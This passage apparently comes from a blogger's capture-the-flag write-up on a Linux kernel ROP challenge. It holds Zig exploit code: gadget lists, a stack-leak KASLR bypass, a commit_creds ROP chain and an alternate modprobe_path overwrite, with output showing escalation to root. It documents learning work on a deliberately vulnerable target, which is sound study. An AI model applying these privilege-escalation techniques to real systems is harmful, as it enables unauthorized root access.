[1m[37m [0m[1m[37m}[0m[1m[37m [0m[33melse[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37mropchain1[0m[1m[37m([0m[1m[37mwriter[0m[1m[37m,[0m[1m[37m [0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[37mcanary[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mflush[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33munreachable[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37madjust_offsets[0m[1m[37m([0m[1m[37mkaslr_offset[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mgadgets[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36m*[0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RBX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RDX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPUSH_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mMOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mADD_RAX_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mADD_EAX_EDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mKSYMTAB_PREPARE_KERNEL_CRED[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mKSYMTAB_COMMIT_CREDS[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[37mgadgets[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mg[0m[1m[36m|[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mg[0m[1m[37m.[0m[1m[36m*[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[37mkaslr_offset[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
Now we just need a leak to defeat regular KASLR.
[33mfn[0m[1m[37m [0m[37mdumpStack[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m350[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mbytes_read[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mdumpHex[0m[1m[37m([0m[1m[37mbuf[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[37mbytes_read[0m[1m[37m]);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
Let's compare the output of [40m[35m`dumpStack`[39m[49m before
and after a reboot to see what remains the same:
[1m[37m1,22c1,22[0m
[1m[37m< 00007ffccba8e082 20 10 60 87 D3 8C FF FF E0 0F 00 00 00 00 00 00 .`.............[0m
[1m[37m< 00007ffccba8e092 00 7D 35 B9 68 99 63 84 10 D6 CA 86 D3 8C FF FF .}5.h.c.........[0m
[1m[37m< 00007ffccba8e0a2 68 FE 1B 80 1A B9 FF FF 04 00 00 00 00 00 00 00 h...............[0m
[1m[37m< 00007ffccba8e0b2 00 D6 CA 86 D3 8C FF FF F0 FE 1B 80 1A B9 FF FF ................[0m
[1m[37m< 00007ffccba8e0c2 00 D6 CA 86 D3 8C FF FF 80 FE 1B 80 1A B9 FF FF ................[0m
[1m[37m< 00007ffccba8e0d2 D7 7B E8 A3 FF FF FF FF D7 7B E8 A3 FF FF FF FF .{.......{......[0m
[1m[37m< 00007ffccba8e0e2 00 D6 CA 86 D3 8C FF FF 00 00 00 00 00 00 00 00 ................[0m
[1m[37m< 00007ffccba8e0f2 82 E0 A8 CB FC 7F 00 00 A0 FE 1B 80 1A B9 FF FF ................[0m
[1m[37m< 00007ffccba8e102 00 7D 35 B9 68 99 63 84 5E 01 00 00 00 00 00 00 .}5.h.c.^.......[0m
[1m[37m< 00007ffccba8e112 00 00 00 00 00 00 00 00 D8 FE 1B 80 1A B9 FF FF ................[0m
[1m[37m< 00007ffccba8e122 2F 28 09 A4 FF FF FF FF 00 D6 CA 86 D3 8C FF FF /(␉.............[0m
[1m[37m< 00007ffccba8e132 00 D6 CA 86 D3 8C FF FF 82 E0 A8 CB FC 7F 00 00 ................[0m
[1m[37m< 00007ffccba8e142 5E 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ^...............[0m
[1m[37m< 00007ffccba8e152 20 FF 1B 80 1A B9 FF FF A7 22 1A A4 FF FF FF FF ........"......[0m
[1m[37m< 00007ffccba8e162 F1 11 23 A4 FF FF FF FF 00 00 00 00 00 00 00 00 ..#.............[0m
[1m[37m< 00007ffccba8e172 00 7D 35 B9 68 99 63 84 58 FF 1B 80 1A B9 FF FF .}5.h.c.X.......[0m
[1m[37m< 00007ffccba8e182 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m< 00007ffccba8e192 00 00 00 00 00 00 00 00 30 FF 1B 80 1A B9 FF FF ........0.......[0m
[1m[37m< 00007ffccba8e1a2 DA 19 2E A4 FF FF FF FF 48 FF 1B 80 1A B9 FF FF ........H.......[0m
[1m[37m< 00007ffccba8e1b2 57 A1 A0 A3 FF FF FF FF 00 00 00 00 00 00 00 00 W...............[0m
[1m[37m< 00007ffccba8e1c2 00 00 00 00 00 00 00 00 8C 00 C0 A3 FF FF FF FF ................[0m
[1m[37m< 00007ffccba8e1d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............[0m
[1m[37m---[0m
[1m[37m> 00007ffcef2175d2 20 20 60 47 F0 90 FF FF E0 0F 00 00 00 00 00 00 `G............[0m
[1m[37m> 00007ffcef2175e2 00 0E 76 FC EA 35 42 B0 10 DC CA 46 F0 90 FF FF ..v..5B....F....[0m
[1m[37m> 00007ffcef2175f2 68 7E 1C C0 28 A9 FF FF 04 00 00 00 00 00 00 00 h~..(...........[0m
[1m[37m> 00007ffcef217602 00 DC CA 46 F0 90 FF FF F0 7E 1C C0 28 A9 FF FF ...F.....~..(...[0m
[1m[37m> 00007ffcef217612 00 DC CA 46 F0 90 FF FF 80 7E 1C C0 28 A9 FF FF ...F.....~..(...[0m
[1m[37m> 00007ffcef217622 97 45 2E B3 FF FF FF FF 97 45 2E B3 FF FF FF FF .E.......E......[0m
[1m[37m> 00007ffcef217632 00 DC CA 46 F0 90 FF FF 00 00 00 00 00 00 00 00 ...F............[0m
[1m[37m> 00007ffcef217642 D2 75 21 EF FC 7F 00 00 A0 7E 1C C0 28 A9 FF FF .u!......~..(...[0m
[1m[37m> 00007ffcef217652 00 0E 76 FC EA 35 42 B0 5E 01 00 00 00 00 00 00 ..v..5B.^.......[0m
[1m[37m> 00007ffcef217662 00 00 00 00 00 00 00 00 D8 7E 1C C0 28 A9 FF FF .........~..(...[0m
[1m[37m> 00007ffcef217672 AF E5 28 B3 FF FF FF FF 00 DC CA 46 F0 90 FF FF ..(........F....[0m
[1m[37m> 00007ffcef217682 00 DC CA 46 F0 90 FF FF D2 75 21 EF FC 7F 00 00 ...F.....u!.....[0m
[1m[37m> 00007ffcef217692 5E 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ^...............[0m
[1m[37m> 00007ffcef2176a2 20 7F 1C C0 28 A9 FF FF C7 2E 70 B3 FF FF FF FF ...(.....p.....[0m
[1m[37m> 00007ffcef2176b2 B1 59 70 B3 FF FF FF FF 00 00 00 00 00 00 00 00 .Yp.............[0m
[1m[37m> 00007ffcef2176c2 00 0E 76 FC EA 35 42 B0 58 7F 1C C0 28 A9 FF FF ..v..5B.X...(...[0m
[1m[37m> 00007ffcef2176d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................[0m
[1m[37m> 00007ffcef2176e2 00 00 00 00 00 00 00 00 30 7F 1C C0 28 A9 FF FF ........0...(...[0m
[1m[37m> 00007ffcef2176f2 3A 14 4C B3 FF FF FF FF 48 7F 1C C0 28 A9 FF FF :.L.....H...(...[0m
[1m[37m> 00007ffcef217702 57 A1 C0 B2 FF FF FF FF 00 00 00 00 00 00 00 00 W...............[0m
[1m[37m> 00007ffcef217712 00 00 00 00 00 00 00 00 8C 00 E0 B2 FF FF FF FF ................[0m
[1m[37m> 00007ffcef217722 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............[0m
Notice the values [40m[35m`buf[304..304+8]`[39m[49m and
[40m[35m`buf[328..328+8]`[39m[49m: across the different runs
only the 4th least significant byte differs.
Furthermore, this byte is the same for both values in a single run,
so it's very likely that these values are a constant offset from
the kernel base.
As it turns out, masking out the lower 2 bytes of
[40m[35m`buf[304..304+8]`[39m[49m yields the kernel base
address (source: trust me bro)!
[33mfn[0m[1m[37m [0m[37mleakBaseAddress[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mu64[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m304[0m[1m[36m+[0m[1m[36m8[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mbytesAsValue[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[36m304[0m[1m[37m..]).[0m[1m[36m*[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37m([0m[1m[37mret[0m[1m[37m [0m[1m[36m>>[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m<<[0m[1m[37m [0m[1m[36m16[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
We just need to call [40m[35m`adjust_offsets`[39m[49m with our
kernel base address leak, and bob's our uncle.
[1m[37mwhoami: unknown uid 1000[0m
[1m[37m[INFO] Saved state[0m
[1m[37m[INFO] Canary: 0x6071ec017b6ac500[0m
[1m[37m[INFO] Kernel base: 0xffffffffa4200000[0m
[1m[37m[INFO] You won!![0m
[1m[37mwhoami: unknown uid 0[0m
==== [1m[4mAlternate solve: [40m[35m`modprobe_path`[39m[49m[22m[24m
This is not an alternative bypass to KASLR, but rather a different
attack vector to indirectly achieve priviledge escalation without
putzing with
[40m[35m`commit_creds(prepare_kernel_cred(0))`[39m[49m.
Basically, when [40m[35m`execve`[39m[49m'ing a binary with
magic bytes the kernel doesn't recognize, eventually the following
will get called:
[1m[36m$modprobe_path[0m[1m[37m -q -- binfmt-[0m[1m[36m$MAGIC[0m[1m[37m[0m
Where [40m`$modprobe_path`[49m is the string stored in the
[40m`modprobe_path`[49m kernel symbol, and [40m`$MAGIC`[49m is
whatever the magic bytes of the file are.
So if we overwrite [40m`modprobe_path`[49m, we can get the kernel
to execute a file we control.
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'modprobe_path'[0m[1m[37m[0m
[1m[37mffffffff82061820 D modprobe_path[0m
[1m[37mropr --range[0m[1m[36m=[0m[1m[37m0xffffffff81000000-0xffffffff81400dc6 -R [0m[33m'^(pop rdi;|pop rax;|mov \[rdi+.{3,5}\], ...;) ret;'[0m[1m[37m vmlinux[0m
[1m[37m0xffffffff81004d11: pop rax; ret;[0m
[1m[37m0xffffffff8100767c: pop rdi; ret;[0m
[1m[37m0xffffffff81012833: mov [rdi+0x10], r8d; ret;[0m
[1m[37m0xffffffff81012834: mov [rdi+0x10], eax; ret;[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8100767c[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RAX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81004d11[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mMOV_ADDROF_RDI_PLUS_16_EAX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81012834[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mMODPROBE_PATH[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff82061820[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81200f26[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mwriter[0m[1m[36m:[0m[1m[37m [0m[1m[37manytype[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mreadInt[0m[1m[37m([0m[1m[36mu32[0m[1m[37m,[0m[1m[37m [0m[33m"/tmp"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.[0m[1m[37mlittle[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMODPROBE_PATH[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMOV_ADDROF_RDI_PLUS_16_EAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mreadInt[0m[1m[37m([0m[1m[36mu32[0m[1m[37m,[0m[1m[37m [0m[33m"/a"[0m[1m[37m [0m[1m[36m++[0m[1m[37m [0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{[0m[1m[36m0[0m[1m[37m}[0m[1m[37m [0m[1m[36m**[0m[1m[37m [0m[1m[36m2[0m[1m[37m,[0m[1m[37m [0m[1m[37m.[0m[1m[37mlittle[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMODPROBE_PATH[0m[1m[36m-[0m[1m[36m0x10[0m[1m[36m+[0m[1m[36m0x4[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMOV_ADDROF_RDI_PLUS_16_EAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[37m@intFromPtr[0m[1m[37m([0m[1m[36m&[0m[1m[37mret2win[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_cs[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rflags[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rsp[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_ss[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}));[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mret2win[0m[1m[37m()[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mprint[0m[1m[37m([0m[33m"[INFO] You won!![0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mtmpa[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfs[0m[1m[37m.[0m[37mcwd[0m[1m[37m().[0m[37mcreateFile[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33m"/tmp/a"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mread[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mtrue[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mmode[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0o777[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m},[0m[1m[37m[0m
[1m[37m [0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mtmpa[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33m\\#!/bin/sh[0m[1m[37m[0m
[1m[37m [0m[33m\\whoami &> /tmp/its-a-me[0m[1m[37m[0m
[1m[37m [0m[33m\\chmod 777 /tmp/its-a-me[0m[1m[37m[0m
[1m[37m [0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mtmpa[0m[1m[37m.[0m[37mclose[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37munknown[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfs[0m[1m[37m.[0m[37mcwd[0m[1m[37m().[0m[37mcreateFile[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33m"/tmp/unknown"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mread[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mtrue[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mmode[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0o777[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m},[0m[1m[37m[0m
[1m[37m [0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37munknown[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{[0m[1m[36m0xff[0m[1m[37m}[0m[1m[36m**[0m[1m[36m4[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37munknown[0m[1m[37m.[0m[37mclose[0m[1m[37m();[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mwhoami[0m
[1m[37m./exploit[0m
[33m# execute bogus file[0m[1m[37m[0m
[1m[37m/tmp/unknown [0m[1m[37m&[0m[1m[37m> /dev/null[0m
[1m[37mcat /tmp/its-a-me[0m
[1m[37mwhoami: unknown uid 1000[0m
[1m[37m[INFO] Saved state[0m
[1m[37m[INFO] Canary: 0x0743fe8b3c798800[0m
[1m[37m[INFO] Kernel base: 0xffffffff85800000[0m
[1m[37m[INFO] You won!![0m
[1m[37mwhoami: unknown uid 0[0m
== [1m[4mResources[22m[24m
This was my first time solving a kernel pwn challenge, and I was
initially quite lost as how to even approach this challenge.
I found the following resources invaluable:
(HTM) PAWNYABLE Holstein v1
Really good resource for learning the basics of kernel pwn and
setting up your environment for kernel debugging.
Other kernel-rop writeups
The writeups published by Midas [4] and 0x434b [5] were super
helpful for learning bypasses to different mitigations and
alternative solutions to arrive at privileged code execution.
For those curious, I wrote the exploits and this post [6] using
Emacs org-mode.
Taking the time to get it setup was a little annoying, but being
able to run arbitrary commands in the challenge VM (not to mention
compiling an exploit and regenerating the initramfs) with a single
keystroke hugely improved my productivity.
Using Zig instead of C was also quite nice because of a (imo) much
better standard library and quick compile times.
Even if using C, using [40m[35m`zig cc`[39m[49m to easily
target [40m`x86_64-linux-musl`[49m is super convenient.
If you want to program at the edge of your abilities, consider
applying to the Recurse Center [7].
[^fn:1]: https://ir0nstone.gitbook.io/notes/binexp/kernel/the-
ultimate-aim-of-kernel-exploitation-process-credentials [8]
[^fn:2]: https://tldp.org/HOWTO/Module-HOWTO/x627.html [9]
[^fn:3]: https://elixir.bootlin.com/linux/v5.9-
rc6/source/include/linux/export.h#L60-L64 [10]
References:
(HTM) [1] kernel-rop-bf9c106d45917343.tar.xz
(HTM) [2] One possible solve
(HTM) [3] ksymtab
(HTM) [4] Midas
(HTM) [5] 0x434b
(TXT) [6] the exploits and this post
(HTM) [7] Recurse Center
(HTM) [8] https://ir0nstone.gitbook.io/notes/binexp/kernel/the-ultimate-aim-of-kernel-exploitation-process-credentials
(HTM) [9] https://tldp.org/HOWTO/Module-HOWTO/x627.html
(HTM) [10] https://elixir.bootlin.com/linux/v5.9-rc6/source/include/linux/export.h#L60-L64
>=================================================================<
(DIR) Blog
(DIR) Writeups
(DIR) jp
copyright 2026 George Huebner
(HTM) email